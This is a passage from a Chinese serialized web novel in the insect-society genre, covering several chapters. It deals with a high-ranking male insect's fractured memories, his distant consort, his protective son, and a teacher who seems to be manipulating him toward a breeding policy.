“毕竟是我雌父雄父,我不能真和他们闹得太僵。但是保护你…不对。应该说,有我在,以后不会再有谁能动你。” 雪因带了点玩笑的口吻开口:“不然,我去建一个…雌虫保护协会?” “幼稚。” 墨尔庇斯的声音响起,但没了方才的愠怒。 “你以为拆掉一间刑室,就能改变什么?现有的制度,是从虫蛋时期就开始灌输雌虫要忍耐是美德,顺从是本能,奉献一切以换取雄虫的垂怜与血脉的存续。” “你离开权力中心十几年,手中的影响力早已边缘化。凭什么认为,你现在回来,便能凭空获得你从未真正掌握过的东西?等待谁的施舍,还是指望规则的仁慈,补偿你吗?” “我、你、上层所有虫的职责是维护整个体系的稳定运转,你该比谁都清楚,撬动其中任何一环,需要付出什么代价。” 不。应该说,雪因确实已经付出了代价。墨尔庇斯眼眸暗沉了些,是他的失责。 他声音低沉下去,带着涩意,“这个世界,以及站在你面前的这只‘雌虫’,从来就不是靠保护和某个名义上的协会就能变好的。任性改变不了——” “因为我是雪因呀,”雪因打断了他,唇边漾开一抹温软的弧度,向前倾了倾身,缩短了那段墨尔庇斯亲手划上,由规则与阴影隔开的距离。 “重新认识一下?”他微微偏头,银发滑过肩头,语气轻快,“雪因·维斯特冕——帝国目前基因等级最高的雄虫。” 他抬起手指,虚虚点了点自己的心口,“这是任性的资本。” 墨尔庇斯沉默地注视着他。这才发现这只小雄虫,在剥离了情感层面的偏执后,其实本身是异常敏锐的,竟让他有一瞬的失神。更何况当感情稳定,不再是拖累后,耀眼的、温暖的东西,便在他身上生根发芽被灌溉成长得越发明显。 “拟态信息素,”雪因径自说了下去。“帝国发明了这个解放了底层雌虫,至少不再有大规模底层雌虫因为精神海污染而死。但我发现高等级的雌虫却很少…或者说不敢用。” “因为拟态信息素会加剧对雄虫的迷恋,到接近疯狂失去控制。是吗?” “这个东西维持住了底层雌虫对于雄虫的迷恋,但更高级的雌虫不屑于被虚假上瘾的东西迷惑上头,又或者为了证明自己得到的才是‘正品’,所以反而比底层雌虫更加迫切追求雄虫,或者说追求基因等级更高的雄虫。” “代代发展,到至今雄虫能利用雌虫的迷恋,控制住雌虫。这才是雄虫协会愿意牺牲无数雄虫也要发展拟态信息素的原因。顶级雌虫却反过来,因为对应能够修补自身精神海的雄虫等级太少,往往等不到安抚便去世,于是建立了帝星,把所有高基因等级的雄虫集中,以数量一代代的提纯,无数样本的牺牲,最终浇灌出的奇迹。就是我。” “所以,明白了吗?”雪因眼眸闪着光,骄傲地看着他,“我的存在就是权力本身。我想做的一切,只要不再触及规则,一切都拥有最大权限。” “至于雄虫之间的斗争,”雪因想起被追杀那几次,“我是对雌虫来说最稀缺的顶层雄虫。但对雄虫来说,自己做那个最顶端的‘唯一’才是最稳的。” “但,没关系。”雪因收回手,抬眸望向他。那双蓝眼睛里,少年炽热未褪,却已沉淀下王爵的沉稳。温柔依旧,不减锋芒。 “我会赢。” 不管是为了心爱的雌虫,需要保护的虫崽,他雪因,这次都得赢。 雪因微微歪头,语气里带上了一点促狭,故意逗弄罕见地失神凝视他的墨尔庇斯:“所以,别总是摆出那副悲观的样子嘛。‘保护’这个词,由我来说,分量自然不同,对不对?” “我会处理好一切。毁了那间刑室,只是一个开始。我要我的雌君,”雪因伸出手指,在墨尔庇斯眼前晃了晃,试图让他回神,“不必再因为任何‘失职’或‘不合规矩’,走进那间屋子。” “别担心,以后都有我在呢。”—— 作者有话说:猫猫雪团进化成雪豹,成长的代价大概是失去泪汪汪的大眼睛。 新年快乐呀!各位!感谢陪伴!!! 第90章 贴心的虫崽 “所以你真要建个什么‘雌虫保护协会’?” 雪因闻言,唇角笑意深了些,眼神透着了然。“雌虫骨子里信奉的,是只有弱者才需要被保护。对他们而言,这种协会的存在本身,恐怕就是一种羞辱吧?” “……”墨尔庇斯听出他话里的戏谑,知道方才那番话不过是随口一提。心底那点不知是松懈还是别的什么情绪掠过,只干涩地应了句,“你知道就好。” 他没了继续待下去的念头。 无论此刻的雪因看起来多么清醒敏锐,根源上,他依然受着药物与规则的扭曲,看似冷静但或许连他自己都无法全然理解。 对一个认知混乱的雄虫,又能抱有什么切实的期待?墨尔庇斯敛起所有外露的情绪,重新披上那层冷硬的壳,借口军务繁忙,转身离开了。 雪因站在原地,没有再挽留,静静凝视着那道高大的身影渐行渐远,直至消失。 四周彻底安静下来。 一切停止后,庞大的空虚感才慢吞吞地从心底深处翻涌上来,弥漫至四肢百骸。 ……明明只是很平常的一天。 阳光依旧温暖,花香依旧浮动,他甚至刚刚赢了一场小小的交锋,对爱虫展现了自己的力量。 ……只是爱虫的态度,忽然变得有些冷淡罢了。 这没什么。 雪因下意识地开始为对方寻找理由。或许是因为自己刚回到帝星,昏迷的那段时间,忽略了对方的感受?或是…自己刚才那些关于权力与规则的话,说得直白,让他觉得不适了? ……是自己的问题。 他应该追上去的,像以前无数次那样。 以前?他眨了眨眼,下意识略过这个念头。 ……但他忽然不想去追了。 就在刚才,在那滚烫的怀抱里,在对方的呼吸凌乱、几乎要失控地吻上来的前一瞬,是他自己,先一步伸出了手指,抵住了那片汹涌的渴望。 他甚至不明白自己为什么要拒绝。动作快于思考,像是埋在躯体深处的记忆,先于被影响的认知做出了选择。 明明已经将爱虫怀抱在其中,温暖却不再,心中空荡得厉害,一时分不清虚实。 一丝尖锐的疼痛毫无预兆地刺入脑海。 …… 不对。 不对! 应该是‘墨尔庇斯’会主动靠过来,柔声问他怎么了?怎么忽然这么主动,是不安了么?所以才迫切需要身体接触的温度来填补空虚。 应该是这样。 可是‘墨尔庇斯’没有发现。 可是‘墨尔庇斯’这次没有发现。 ‘墨尔庇斯’怎么可以没有发现!!! 雪因眼眸深处涌上一些看不清的东西,迅速模糊了视线,化作一层薄薄的水雾。又在下一次眨眼间被吞噬至深处。 于是雪因有些怔怔的,顺着身体的重量,缓缓坐倒在微凉的草地上。银白的长发逶迤在身侧,环抱住膝盖,目光没有焦点地投向下方层叠错落的庭院,试图从那片精心雕琢的繁华图景中,寻找一个可以锚定此刻混乱心绪的支点。 “雄父!” 雪因刚转过头,阿南克冲到他面前,少年精致的脸上毫不掩饰愤怒与担忧。他在雪因跟前刹住脚步,胸口微微起伏,随即一言不发地紧挨着雪因坐下。 阿南克已初具风姿,眉眼精致,一双眼睛或许因为年纪尚小,圆润漆黑得像浸在水中的葡萄。随即,他像小时候一样靠进雪因怀里,脑袋习惯性地枕在雄父膝头。他伸出手,握住了雪因微凉的手,温暖精神力缓缓渡入。 感受着腿上传来自家虫崽熟悉的重量,温暖的存在填补了那些看不清的虚虚实实。 雪因下意识地抬手,指尖轻柔地替阿南克理了理有些凌乱的衣领。 “他又欺负您了。” 阿南克的声音闷闷的。 “别这么想他,” 雪因的声音轻缓,有些疲惫,却依旧温和,“你…雌父是个很好的虫。” “好虫?” 阿南克猛地抬起头,黑葡萄似的眼睛里满是不忿与心疼,“好虫会让您一个人坐在这里发呆?好虫会看不出您不高兴?我刚才都看见了!他从这里走掉,头都没回一下!” “您就是脾气太好了,总是替他们着想,他们才敢一次次欺负到您脸上!” “他们?” 阿南克顿住,把怒意压下去,“……他。” 他都知道,这两个雌虫没一个好东西,一个又弱又不肯彻底依附,为了莫名的自尊和‘为你好’自作主张,一个强势阴鸷,不相信温情拒绝温情,对柔软嗤之以鼻,完全不懂珍惜。 他攥紧了雪因的手,指节用力到发白,眼神倔强得像头被激怒的幼兽:“雄父,您别难过。等着看,等我再长大一点,等我变得更强……我一定让他后悔今天这么对您!什么元帅,什么雌君,让您伤心就不配!” 元帅?雪因茫然的眨了眨眼,又很快忽略过去。 “阿南克。” 雪因轻轻打断了他,抚摸着少年黑发,试图抚平敌意,“别说这样的话,他虽然不是你亲生雌父,但——” “为什么不可以?” 阿南克倔强地抿紧唇,眼底的偏执如同暗火,烧得又亮又烫,“他让您难过,就是不对。我才不管他是不是我雌父。我只要您好好的。” 少年的逻辑简单直接,带着强烈的维护,“他下次再这样,我…我现在就去找他!” “阿南克。” 雪因的语气稍稍加重了一些,手掌按住想要起身的虫崽的肩膀,“你的心意雄父知道,也很感动。但他是我的雌虫,大人的事我会处理好,好吗?” 阿南克与他对视了几秒,胸膛剧烈起伏了几下,终究在那片温和的蓝色中败下阵来。他重重地“哼”了一声,再次把脸埋进雪因怀里,闷声闷气地嘟囔:“……反正我不会原谅他。” 恨意并未消散,只是被强行按压下去,藏进了心底更深的角落,等待发酵。 雪因不再多说,下颌轻抵着少年柔软的发顶,阿南克身上毫无保留的、笨拙的维护,带着阳光和青草气息的、属于他虫崽的味道,像一股温热的暖流,缓缓注入他迷茫的心口,让他的心跳渐渐落回实处,呼吸也平稳了几分。 “好了,”雪因轻轻拍了拍阿南克的背,声音恢复了温润,“走吧?去看看雄父给你准备的房间?” 雪因其实更想像阿南克小时候那样,可以轻松地将软软的黑芝麻小团子整个抱起来。可惜少年成长太快,好似一瞬间就长成到他肩膀高的少年。 “我要跟您睡。” 阿南克立刻抬头,黑眸望过来。 雪因笑起来,指尖轻轻捏了捏少年还带着点婴儿肥的脸颊:“不可以。你长大了,要有自己的空间。等以后啊,就该和你自己的雄主一起睡了。” “……我才不要什么雄主。” 阿南克扭开脸,耳尖却有点红,“您是星际里最好的雄虫,没有别的雄虫能比。” “又说虫崽气的话。” 雪因揉了揉他的脑袋。他顿了顿,将思考过后的事情道出:“阿南克,今天你也见到你的雌祖父了——阿斯特拉,雄父的雌父。他是一位非常值得尊敬的长辈。他非常爱雄父,也会爱你。雄父打算,送你去他身边学习一段。” 阿南克眨了眨眼,反应了一下这个称谓所指,对于这位初次见面的雌祖父,他并没有对墨尔庇斯那种直接的抵触,但依然不解:“学习?跟雌祖父?为什么…雄父,您不亲自教我了吗?” 比起去向陌生的长辈学习,他更愿意待在雄父身边。 “雄父当然会一直教你。” 雪因温声安抚,“但雌祖父能教你一些不同的东西,关于家族,关于如何在帝星立足,关于…一些雄父也无法完全体会的、属于雌虫世界的规则与生存之道。这对你来说很重要。” 让阿南克在更复杂的环境中,拥有更多自保与周旋的资本,雌虫的世界由雌父来教导再合适不过。墨尔庇斯…雪因潜意识觉得那只虫在某些方面,并不可靠。至少他雌父阿斯特拉拥有经验与更稳固的立场,那边还有许多同族的雌虫兄长可以照应。将阿南克托付过去,他更能安心。 阿南克似懂非懂,他不再直接反对,只是小声确认:“那…我去了,还能常常回来看您吗?” “当然可以。” 雪因笑着保证,“随时都可以。那里也会是你的家。” 阿南克这才稍稍放松,但很快又想起什么,眉头蹙起:“那…那墨尔庇斯呢?” 他微微歪头,语气里带着毫不掩饰的嘲讽:“我看,真正该被送去好好学学‘规矩’的,是他才对吧。” 这话说得尖锐,直指核心。在阿南克简单的逻辑里,一个会让雄父独自神伤、不懂体恤、行事傲慢的雌虫,哪怕地位再高,也欠缺了最基本的、对待雄虫应有的态度。元帅又如何?在规矩这门课上,显然不及格。 雪因沉默了一瞬,“他…阿南克,不可以这样说话。” 他抬手,指尖轻轻拂过少年紧蹙的眉心,仿佛想抚平那里的戾气,但语气并未放软,“他是你的长辈,基本的尊重不可或缺。” 他停顿了一下,看着阿南克不服气却强忍着的表情,缓了缓语气,“但你说得对,有些规矩,无关身份地位,只关乎本心与分寸。所以,你要做个很好的雌虫~还有——” “保护好自己。”雪因下意识说出了这一句。 阿南克猛地抬眼,雄父眼中茫然到连自己都不知道的、这种无意识警示,让他瞬间攥紧了拳头。雄父那个所谓的‘雌君’,在雄父内心深处,同样被标记为需要警惕的存在。 没有谁比他知道墨尔庇斯真实的模样。 他没有再出言顶撞,将怒意与保护欲狠狠压入心底,化为眼底沉静冰冷的暗火。他用力点了点头: “我记住了,雄父。” 雪因拉起他的手,站起身。一大一小两个身影,在渐斜的日光下,一同往家的方向走去。 从一家三口,到一大一小,好似也没什么不同—— 作者有话说:虫蛋时期就和墨尔庇斯结下的仇,阿南克记着呢!《 》 90-100 第91章 帝星的雄虫们 墨尔庇斯自那日以军务为由离开后,就不见踪迹。一个月过去,雪因其实有尝试联系,那只雌虫只接通过一次通讯,传来的声音疏离,只有一句“无碍”,便再无下文。 面对伴侣突如其来的冷淡,雪因心中难免空落,却也不愿强求。只当墨尔庇斯再次回到帝星,需要时间重新适应与梳理。 而雪因开始忙碌起来,堆积了十几年的事务并不会凭空消失,只会转移到另一只倒霉虫身上。至少仅是积压待签的文件,足以让他埋头苦签了一星期刚解放出来。 而这十来年帮他处理庞大领地和王爵事务的‘倒霉虫’菲尔斯,简直像是老了一百岁!脸色苍白,眼下浓重的阴影,浑身散发着被沉重工作磋磨怨念。曾经微妙羞涩暗恋心思,早在年复一年如山倒海的工作中被碾得粉碎,只剩下每日重复“老子不干了”和“这破王爵什么时候回来”到最后“我怎么还活着”。 当然,工资是没涨过的。 现在看着终于回来接手工作的雪因,眼神里没有久别重逢的喜悦,只有化不开的怨气。 雪因看着他的脸色,根本不敢吱声,乖乖巧巧配合着把事务处理干净。 阿南克也被稳妥地送至雌父阿斯特拉身边学习。 生活终于步入正轨。于是克斯安蒂星的例行进修通知,便适时地递到了他手中。 这才刚刚踏入白塔范围不久,便迎面撞上了一只陌生的雄虫。 “雄父。日安。” 对面的雄虫有着极为出众的样貌,雪白的长发流泻而下,五官精致得甚至透着一丝妖冶,眼尾一颗小小的泪痣平添几分易碎感。正在雪因面前对着他小心翼翼开口。 雪因整个人怔在原地。 心脏像是被一只无形的手狠狠攥住,传来尖锐的抽痛,几乎让他瞬间窒息。熟悉的恐惧与难受涌来,比面对自己雄父洛伦兹时更甚。 他脸色一白,猛地移开视线,纤长的睫毛颤抖得厉害,脑海中却搜寻不到关于这张面孔、这声呼唤的任何相关记忆。 “你认错虫了。” 雪因的声音有些不稳,唇色褪尽。他不敢再看那双让他心悸不已的紫眸,侧过身,几乎带上了几分落荒而逃的意味。 希利安脸上期盼中带着拘谨的笑容瞬间僵住。眉心极快地蹙起又松开。 他迅速垂下眼帘,再抬眼时,换上带着歉意的疏离表情。 “抱歉,殿下。” 他微微弯腰,行了一个标准而恭敬的礼,“是我一时眼拙,认错了虫,惊扰您了。” 见他行礼雪因下意识便想伸手去扶,希利安却不动声色地侧身躲开了。 雪因的手僵在半空。 “你——” 他张了张口,看着对方低垂的、不再与他对视的眼睫,胸口那阵疼痛更尖锐了。 “我——” 希利安几乎同时开口,却又立刻止住。他抬起眼,目光平静,嘴角扯上惯常礼貌恭敬的微笑。“既然殿下正忙于事务,我就不多打扰了。” 转身离开得干脆利落,只留给雪因一个莫名显得有些孤独的背影。 雪因站在原地,望着那背影消失的方向,抬手按住了依旧闷痛不止的胸口,蓝眸里充满了茫然,仿佛失去了什么重要东西,他却连那是什么都无从知晓。 但很快,又一只年轻雄虫正朝他快步跑来,挂着灿烂的笑容,用力朝他挥手。“雪因殿下!” 雪因看过去,又是熟悉的紫眸…和耀眼的金发?努力在混乱的记忆中搜寻—— “是我呀!诺厄!” 雄虫已跑到近前。 “诺厄……” 雪因恍然,眼眸微微睁大,“大哥家的……诺厄?” 印象中那个怯生生、敏感内向的小雄虫,与眼前身影重合。十几年的光阴早就将那个懦弱的幼崽,打磨成了眼前这个开朗温润的青年。 “对!就是我!” 诺厄用力点头,他纯粹是高兴,“您不在的这些年,大家都很想您!我现在在白塔第四层进修,您这是要回顶层吗?” S级雄虫的内部阶层也是泾渭分明,刚到S级的数量最多,在最下层第十层,越往上等级越高,到了前五层几乎都是帝星出生家世缺一不可的矜贵雄虫。 说是白塔,其实更像一个小世界的中转站,每一层都有空间隧道连接着各层雄虫,需要的、不同的,被开辟出来的小星球。 “嗯。”雪因点头。转头想到诺厄的雌父塞西尔,也是他大哥雄主。当初逃亡途中还遇到塞西尔被他雌君背叛缉拿。 …… 雪因后知后觉警觉起来。可能因为一睁眼看到的是雄父和雌父面色如常,便下意识觉得生活还是和以前一样没有危险,之前还被雄虫协会追杀…可是醒来后雄父没有交代他要防备,那意味着问题已经解决了。 雪因松了一口气。再次看向诺厄,语气关切,“你雄父…” 诺厄语气轻快地说道:“他很好!现在……再婚啦。” “不过您别担心,”诺厄眨了眨眼,“我们还是一家虫~等下次家宴,我给您介绍!” “再婚?”雪因眼中掠过讶异。塞西尔不是一直很爱大哥吗?但是之前大哥背叛了他… 雪因想,这种背叛如果发生在自己身上也是绝不会原谅的吧。哪怕是有隐情,可是伤害就是伤害,不能被有‘隐情’,‘为你好’之类的掩盖过去,至少当时受到的伤也是事实,身为雄虫的骄傲是容不下被践踏的。这么一想,雪因倒是理解了几分。 “好。” 雪因笑了笑,温声应下。“你雄父再婚的贺礼,还有你成年的礼物,我稍后让虫一并送过去。” “您的心意早就到啦~” 诺厄笑着摇头,语气亲近,“菲尔斯叔叔处理得特别周到,什么都没落下。您这位管家,可真不是一般的能干。” 他话锋一转,紫眸里闪着俏皮,“他什么时候能休假呀?我这边正缺个得力的帮手理顺些琐事,想厚着脸皮向您借他几天呢。” 雪因眼前瞬间闪过菲尔斯满是怨念、仿佛下一秒就要暴起弑主的苍白脸庞,下意识地咽了咽口水,一阵心虚。“他、他最近…怕是抽不开身。” 雪因稳住声音,尽量显得自然,“积压的事务实在太多了。” 等这边一切真正步入正轨,无论如何都得给菲尔斯放个足够长的假,还有补偿……雪因在默默记下这笔良心债。 看着诺厄似乎还想再争取一下的亮晶晶眼神,雪因赶忙岔开话题,“礼物既然送到了我就放心了。在白塔好好学习,若有难处,随时可以来找我。” 雪因是维斯特冕家族的雄虫,也是蒙特金德家的雄子,涉及雄虫的交际与相关事项,他自然也能一并负责处理。 诺厄不纠缠,点了点头:“嗯!谢谢雪因殿下!那我就不打扰您去顶层啦!” —— 进入教室,雪因有些恍惚,万万没想到十几年过去还是那几位老熟虫,兰斯坐在靠窗位置,见他进来,抬起眼眸,唇角勾起一抹笑,轻轻颔首算是打招呼。 而另一边的佐尔安反应则要热烈得多。从座位上一跃而起冲到雪因面前,二话不说,张开手臂就结结实实地给了他一个用力的拥抱。 “你可算回来了!” 佐尔安把脸埋在雪因肩头,声音闷闷的,带着毫不掩饰的后怕与激动,甚至有点语无伦次,“我们都快急疯了,还以为你死…” “佐尔安。” 窗边传来兰斯警告的声音。 佐尔安瞬间意识到说了不吉利的话,赶紧“呸”了两声。他讪讪地摸了摸鼻子,用力拍了拍雪因的肩膀,上下打量他,确认他完好无损,才长长舒了口气:“总之!你能全须全尾地回来,真是太好了!” 雪因被他的热情弄得心里暖烘烘的,有些不好意思,蓝眸弯起:“嗯,我没事,让你们担心了。” 他环顾四周,发现少了一个熟悉的身影,便顺口问道:“对了,洛佩卡呢?他今天没来?” 一提到这个名字,佐尔安脸上的表情瞬间变得极其精彩,像是拼命想忍住笑,却又控制不住,捂住肚子,肩膀抖个不停。 “他?他现在可‘忙’了!” 佐尔安好不容易止住一点笑,声音颤着,“正兢兢业业地陪着他的新‘雌父’,努力扮演一个‘孝顺’的好雄子呢!哈哈哈哈哈……” 雪因:“???” 他完全没听懂,疑惑地看向兰斯。 兰斯脑中闪过洛佩卡,也忍不住笑出声。 “他怎么了?告诉我。”雪因不由得好奇起来。 兰斯开口道,“他之前不是和前虫皇鬼混吗?整天把‘未来让皇室流着自己的血’挂在嘴边。” “对对对!” 佐尔安抢过话,笑得直拍大腿,“现在他可算‘如愿以偿’了!甚至……哈哈哈哈哈……甚至超额完成了目标!” 这个雪因倒是知道,之前洛佩卡还问他要过灵嗣菌核,“他和前虫皇有虫崽了?可是…我听说虫皇已经换了一位?” “对,” 兰斯点头,解释道,“其实上面换多少位虫皇和我们这些雄虫来说关系不大,总归是雌虫间的斗争。但洛佩卡这次,把自己彻底卷进去了。当初旧虫皇战败,新皇登基的第二天,洛佩卡就…急不可耐和旧虫皇划清关系,跑去向新皇自荐……”他有些尴尬,“洛佩卡比较天真,他大概觉得,雌虫总不会放过送上门的雄虫。尤其是他这样基因等级高的。” 雪因已经预感到事情不会这么简单。 “结果新虫皇勃然大怒,当场就要杀了他。” 兰斯继续道,“关键时候,旧虫皇冲出来替他挡下了致命一击,但也因此…彻底失去了生育能力。” 佐尔安插嘴,笑得眼泪都快出来了:“一个失去生育能力、再无威胁的前朝雌虫,新皇大概是觉得杀了也无甚意思,而且毕竟是世上最后一只雌虫弟弟了,杀了反而显得自己气量狭小。于是‘仁慈’地将旧虫皇囚禁起来,以示宽大。而为了‘成全’洛佩卡对皇室的‘一片赤诚’……” 他深吸一口气,才勉强把话说完:“新皇下令,将洛佩卡‘赐’给旧虫皇做雄子!连旧虫皇原本那位倒霉的未婚雄虫克里斯蒂,也被一并‘安排’成了洛佩卡的雄父!哈哈哈哈哈……让他们仨关起门来,好好‘培养父子亲情’!你是没看见洛佩卡当时的脸色…哈哈哈哈!他现在倒是真跟皇室一个姓了,天天被他的‘雌父’和‘雄父’‘悉心教导’呢!” “渣了前雌虫后他成了我雌父?我不行了!新虫皇这也太损了啊!!!”佐尔安笑得抽抽。 雪因:“……” 没等佐尔安说完,教室的门被推开,莫里亚斯老师跨步走了进来。 第92章 唯一的虫崽 他身后跟着先前有过一面之缘的那位雄虫。他恭敬地随侍在老师身侧。 佐尔安一见到希利安,面色立刻沉了下来,毫不掩饰眼中的鄙夷。他单臂搂住雪因的肩,凑到他耳边,用气音小声骂道:“瞧见没?莫里亚斯养的‘好助手’。走狗!为了往上爬连壳都不要了!整天帮着处理些见不得光的脏事…一个A级,也配在这儿进进出出?” “嗯?” “听说他小时候还跟你家有点纠葛,害得你雄父——” 他的话被莫里亚斯激动的声音打断了。 “雪因?!” 莫里亚斯看到雪因眼瞳骤然睁大,脸上笑容不自觉扬起。他快步上前,伸出手,微微发着抖,似乎想触碰雪因的脸颊,却又不敢真的落下。 向来沉稳睿智的眼眸此刻盈满了水光,惊恐与后怕如同潮水般翻涌上来,将他整个人淹没,全然不见了昔日的从容风度,反而像是饱受惊吓被折磨已久。 雪因不动声色地侧了侧脸,避开了那只颤抖的手。 当初被追杀的经历他没忘,他不信别人说的,老师追杀他只是因为认错虫的托辞。他是真的听到了雄虫协会派来的虫说的‘哪怕是殿下也格杀勿论’。他猜,老师或许知道他私奔的丑闻,为了维护帝星雄虫阶层的体面与秩序,才将他定为必须抹除警示。但后来为什么放弃追杀?还有现在莫名其妙的态度,好似他是对方救命稻草一样。 莫里亚斯察觉到了雪因的抗拒与疏离,手指在空中僵了一瞬,缓缓收回。他脸上迅速堆起笑意,声音放得又轻又软,“老师知道…知道你这些年受委屈了。先坐下,好虫崽,我们先坐下再说。” 佐尔安趁机又在雪因耳边飞快地丢下一串低语:“当年希利安,”他瞥了一眼角落垂首的雄虫,“小时候去了一趟你家王爵府。没多久,你雄父就对外宣布……丧失了生育能力,你成了维斯特冕家的唯一。莫里亚斯老师就疯了,带着虫天天往王爵府冲,口口声声要‘救你出来’,听说甚至亲自动手去砸门…硬生生锤得双手血肉模糊,至今提笔都不稳,但很奇怪,以雄虫的自愈力怎么会现在还没有恢复?不知道是谁下的黑手。”佐尔安说完,松开雪因,若无其事地坐回自己的座位。 雪因心下一凛,顺着佐尔安先前的视线看向莫里亚斯垂在身侧的右手。表面看来完好,但他凝神用信息素感知,却发现上方缠绕着持续不断散发阴寒气息的墨黑色精神力伤害。 “兰斯,”莫里亚斯已转身走向讲台,声音恢复平稳,“你来概述一下帝国近期的局势变动。” 他身后的希利安面色沉静,顺从地移动脚步,准备如往常一样站到教室最不起眼的角落。 雪因的目光落在他身上,熟悉又陌生的、密密麻麻的心疼感再次不受控制地涌上。他抬手,指向自己身旁的空位:“坐这里。” 希利安脚步一顿。他抬眸扫过雪因的脸,随即又垂下眼帘,继续向角落走去。 莫里亚斯听见动静转头看来,目光在雪因和希利安之间转了一圈,忽然轻笑了一声,试探着开口:“还是我们雪因心善。” 他观察着雪因的表情。 雪因说完那三个字后便抿紧了唇,蓝眸执拗地追随着希利安显得格外单薄的背影。 教室里一片安静。 佐尔安皱起了眉,不解地看着雪因。兰斯则单手托腮,饶有兴味地微微挑眉,目光在雪因、希利安和莫里亚斯之间缓缓游移。 莫里亚斯眉心极快地蹙了一下,闪过一丝烦躁。他是最看重规矩与等级,对希利安这种低等级的雄虫,虽然雪因不在时勉强用得顺手,但实打实给他特权也是不耐的,但…这是雪因开口。 他放缓了语气,对着希利安带着几分施舍般的意味说道:“既然殿下开口了,希利安,你就……找个位置坐下吧。” 说完,他立刻转回视线看向雪因,笑起,语气充满哄诱:“我们雪因这样仁厚,将来诞育的虫崽,自然等级也是最好的。” 雪因:“……” 他只觉得一股说不出的怪异感缠绕心头。老师的表现,太不对劲了。 希利安闻言,朝着讲台和雪因的方向,恭敬地向各位雄虫行了一礼,懂事地走向离所有虫都很远的、最靠墙的角落座位。 雪因一顿,又要重新开口。 与希利安对视一瞬间,希利安眼眸掠过雪因的,转过身,走到了雪因旁边的空位,安静地坐下。 一直看着他的雪因,在他坐到自己身旁松了口气。朝着刚落座的希利安露出柔软笑意。 莫里亚斯将这一切尽收眼底,紫眸深处暗流涌动,但他现在重心都放在雪因身上,也算是默许这次允许希利安逾越常规的座位。 兰斯见风波停止,这才开口: “星历3447年六月,莱昂图特元帅率帝星主力,远征星渊裂隙。” “星历3448年初,帝星事变。时任大皇子,即后来的新皇兰斯洛特殿下,率亲卫军团及部分驻军回师帝星。冲突持续四十三日,旧皇室卫队于中央广场血战至最后一兵,皇庭内侍及部分被指认为腐朽旧党的贵族世家遭清洗。此役后,旧皇被迫签署退位诏书,皇室权力结构彻底重塑。” “星历3450年,历经两年过渡与局势稳固,大皇子兰斯洛特正式加冕,登基当日,颁布新典,重组内阁,并赦免部分帝星事变中立场摇摆的家族,以图迅速恢复秩序。” “星历3452年至3455年,大部分旧贵族世家审时度势,陆续向新皇宣誓效忠,并以联姻、资源进献等方式巩固新关系网。同年,皇室宣布与雄主所诞之唯一雄子——洛伦兹殿下,正式册封为皇太子,确立帝国继承序列。” “星历3457年,维斯特冕家族——对外正式宣告,其当代家主洛伦兹皇太子与雌君阿斯特拉公爵之子,雪因·维斯特冕,为该家族无可争议的唯一血脉继承者。” 雪因一怔。 “……此后数年,帝国表面进入相对平稳的恢复与发展期,边境战事零星,内部改革稳步推行。直至——” 他抬起眼,看向雪因,: “星历3465年,即今年。为彰显新朝气象与帝国复兴,皇室定于下月举行盛大的‘星辉庆典’。届时,各方势力、新旧贵族、军部要员、乃至附庸种族代表皆会云集帝星。这会是一次权力的重新亮相、关系的微妙试探。” “所以,雪因,” 莫里亚斯老师接过话头,紫眸紧紧锁住他,声音里带着期待,“下月的‘星辉庆典’上,将由你——维斯特冕家族的唯一继承者,以及你的雌君,共同作为雄虫阶层的代表,领头出席仪式。” 信息过于密集,让雪因一时难以理清头绪。他试图在混乱中抓住逻辑:“也就是说…我从王爵,变成了…王爵。” 佐尔安已经开始伸出手指,煞有介事地掰算起来,“让我理理,这关系可太有意思了……” 兰斯看着雪因有些空茫的眼神,肯定地点头,“理论上是这样。” 雪因继续梳理着,“我雄父洛伦兹,现在是……皇太子。” “是的。” 雪因的表情变得有些古怪,他想起了刚才那场荒诞的皇室伦理剧:“那么,按照这个新关系…洛佩卡,现在算是我的…叔叔?” “噗——哈哈哈哈!” 佐尔安终于忍不住,拍着桌子大笑起来,刚才那点严肃气氛瞬间被冲散,“没错!恭喜你,喜提一位好叔叔!” 雪因还是有些疑惑。之前明明说过大皇子对他有杀意。还有,他家族什么时候和皇室扯上关系了?但现在显然不是追问的时机。等回去再向雄父问个明白。 “其帝星政变其实对我们雄虫来说却没什么大的改变,无外乎换几位雌君的事,听话的,不听话的,现在也听话了。”莫里亚斯继续开口。 佐尔安凑到雪因耳边,有些沉重的补充道,“S级里雄虫殉情的…这十几年里,没了小几百个吧。” 雪因瞳孔微微一缩。 莫里亚斯显然听到了佐尔安的话,一直强撑的稳重姿态有些绷不住,脸上闪过气急败坏,猛地提高了声音:“所以!你们现在,尤其是你们几个顶尖的,最重要的任务就是——多生虫崽!” 他的紫眸几乎要燃起火来,死死盯住雪因:“特别是你,雪因!回去好好和你的雌君努力!” 雪因眉头立刻蹙起,眼神里浮起戒备。 莫里亚斯心头一跳,慌忙试探着补充,“……和墨尔庇斯,你的雌君。” 名字正确,雪因眉头松懈下来。 莫里亚斯见状,这才长舒一口气,暗自庆幸。发誓等回去一定要把雪伊兰研究透了,也太好用了! “老师…”雪因他抬起头,迟疑地开口,“您之前不是这样说的。您教导我们,身为高阶雄虫,尤其需要维系家族稳定的,不可沉溺私情,当以责任与大局的权衡为先。您说过,感情用事会蒙蔽判断,是弱点。” “那怎么能叫沉溺私情呢?!” 莫里亚斯几乎要跳起来,“我们高贵的雄虫,不追求美好的爱情还能追求什么?难道整天想着那些打打杀杀、争权夺利的事情吗?” 他上前一步,“听着,我漂亮又珍贵的小雄虫,你现在做的,是积极响应帝国最重要的繁衍政策!回去,多和你的雌君相处,培养感情,这才是头等大事!” “你想想,你是维斯特冕家现在唯一有生育能力的雄虫,这意味着什么?这意味着你的血脉延续,就是家族延续,多和墨尔庇斯相处,多诞育健康优秀的虫崽,尤其是雄虫崽,这才是你现在最该专注的正事!” 一直垂眸在一旁仿佛不存在的希利安,在听到‘唯一有生育能力的雄虫’时,身体僵直了一瞬,浓密的睫毛颤了颤,将所有翻涌的情绪死死压回眼底深处。 雪因的眉头并未舒展,反而蹙得更紧了些。“可是老师,您也说过,婚姻需门当户对,是为了维系秩序与平衡。随意…或过度专注,可能会扰乱既定的上升渠道,破坏规则。” 他顿了顿,眼神空茫一瞬,记忆里激烈惨痛的抗争的回忆碎片试图上浮,又被迷雾掩盖,“您说,那是不对的。” 莫里亚斯笑容一僵,烦躁掠过紫眸。他强压下情绪,继续哄道:“偏见!那统统是过去的偏见了!规则是死的,虫是活的!我们尊贵的雄虫,追求美好的情感陪伴,享受家庭的温暖,这有什么错?这才是自然的天性!多生雄虫崽,就是眼下对帝国、对家族最实实在在的贡献!” 